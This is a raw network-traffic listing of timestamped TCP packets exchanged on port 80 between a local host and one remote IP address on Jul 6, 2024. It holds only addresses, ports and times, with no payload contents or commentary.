Jul 6, 2024 14:10:16.906405926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.906415939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.906455994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.906472921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.906512976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.906524897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.906580925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.906625986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.906630993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.906640053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.906699896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.906699896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.906775951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.906786919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.906797886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.906826019 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.906847954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.907051086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.907094002 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.907099009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.907109022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.907134056 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.907149076 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.907200098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.907211065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.907221079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.907247066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.907269001 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.907426119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.907466888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.907469988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.907476902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.907505035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.907762051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.907809019 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.907859087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.907871008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.907910109 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.907973051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.908013105 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.908075094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.908087969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.908119917 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.908359051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.908397913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.908406019 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.908407927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.908430099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.908447981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.908813000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.908854961 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.908956051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.908967018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.908976078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.908998013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.909013033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.909069061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.909080029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.909090042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.909109116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.909135103 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.909199953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.909210920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.909220934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.909231901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.909240961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.909244061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.909260988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.909286022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.909317970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.909378052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.909388065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.909396887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.909409046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.909421921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.909449100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.909487963 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.909549952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.909560919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.909591913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.909596920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.909605980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.909637928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.909712076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.909720898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.909787893 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.909847975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.909892082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.909902096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.909929991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.909945965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.910083055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.910125017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.910128117 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.910134077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.910157919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.910167933 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.910248995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.910269976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.910315037 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.099190950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.099250078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.099251986 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.099260092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.099301100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.099301100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.099371910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.099384069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.099394083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.099421024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.099445105 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.099759102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.099802971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.099850893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.099864006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.099888086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.099903107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.099904060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.099925041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.099950075 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.099963903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.099998951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.100074053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.100083113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.100104094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.100119114 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.100128889 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.100135088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.100145102 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.100241899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.100248098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.100263119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.100295067 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.100327015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.100373030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.100415945 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.100469112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.100498915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.100521088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.100600004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.100622892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.100630999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.100646019 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.100663900 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.100743055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.100785971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.100810051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.100852966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.100902081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.100910902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.100936890 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.100950956 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.101001024 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.101030111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.101072073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.101147890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.101191998 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.101218939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.101253033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.101258993 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.101263046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.101299047 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.101404905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.101422071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.101465940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.101480961 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.101533890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.101577044 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.101625919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.101635933 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.101645947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.101670980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.101686954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.101805925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.101850033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.101851940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.101885080 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.101910114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.101918936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.101948023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.101953030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.101979971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.101991892 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.102022886 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.102171898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.102188110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.102214098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.102236032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.102241993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.102251053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.102288008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.102442026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.102485895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.102499962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.102535963 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.102560997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.102571011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.102610111 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.102720976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.102730036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.102768898 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.102782011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.102845907 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.102855921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.102864981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.102891922 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.102906942 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.102932930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.102989912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.103034973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.103156090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.103198051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.103221893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.103234053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.103255033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.103266954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.103281975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.103290081 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.103342056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.103388071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.103414059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.103456020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.103530884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.103573084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.103779078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.103789091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.103799105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.103816032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.103822947 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.103825092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.103832960 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.103836060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.103862047 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.103873014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.103884935 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.104041100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.104049921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.104063034 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.104077101 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.104089022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.104302883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.104350090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.104355097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.104365110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.104377985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.104392052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.104399920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.104412079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.104418039 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.104443073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.104454994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.490823030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.490848064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.490871906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.490892887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.490906000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.490906954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.490919113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.490932941 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.490946054 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.490947008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.490957022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.490982056 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491053104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491066933 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491080046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491092920 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491094112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491106987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491117001 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491120100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491136074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491142988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491147041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491166115 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491178989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491231918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491244078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491271973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491285086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491383076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491395950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491410017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491421938 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491424084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491436005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491440058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491449118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491450071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491462946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491470098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491470098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491475105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491487980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491491079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491504908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491508007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491518974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491532087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491539955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491544008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491555929 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491558075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491571903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491580009 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491584063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491588116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491597891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491616964 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491626978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491642952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491760015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491799116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491899014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491911888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491925001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491933107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491939068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491942883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491950989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491959095 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491964102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491969109 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491977930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.491985083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.491996050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.492011070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.492017031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.492031097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.492043018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.492055893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.492064953 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.492069960 CEST	80	49732	211.108.60.155	192.168.2.4
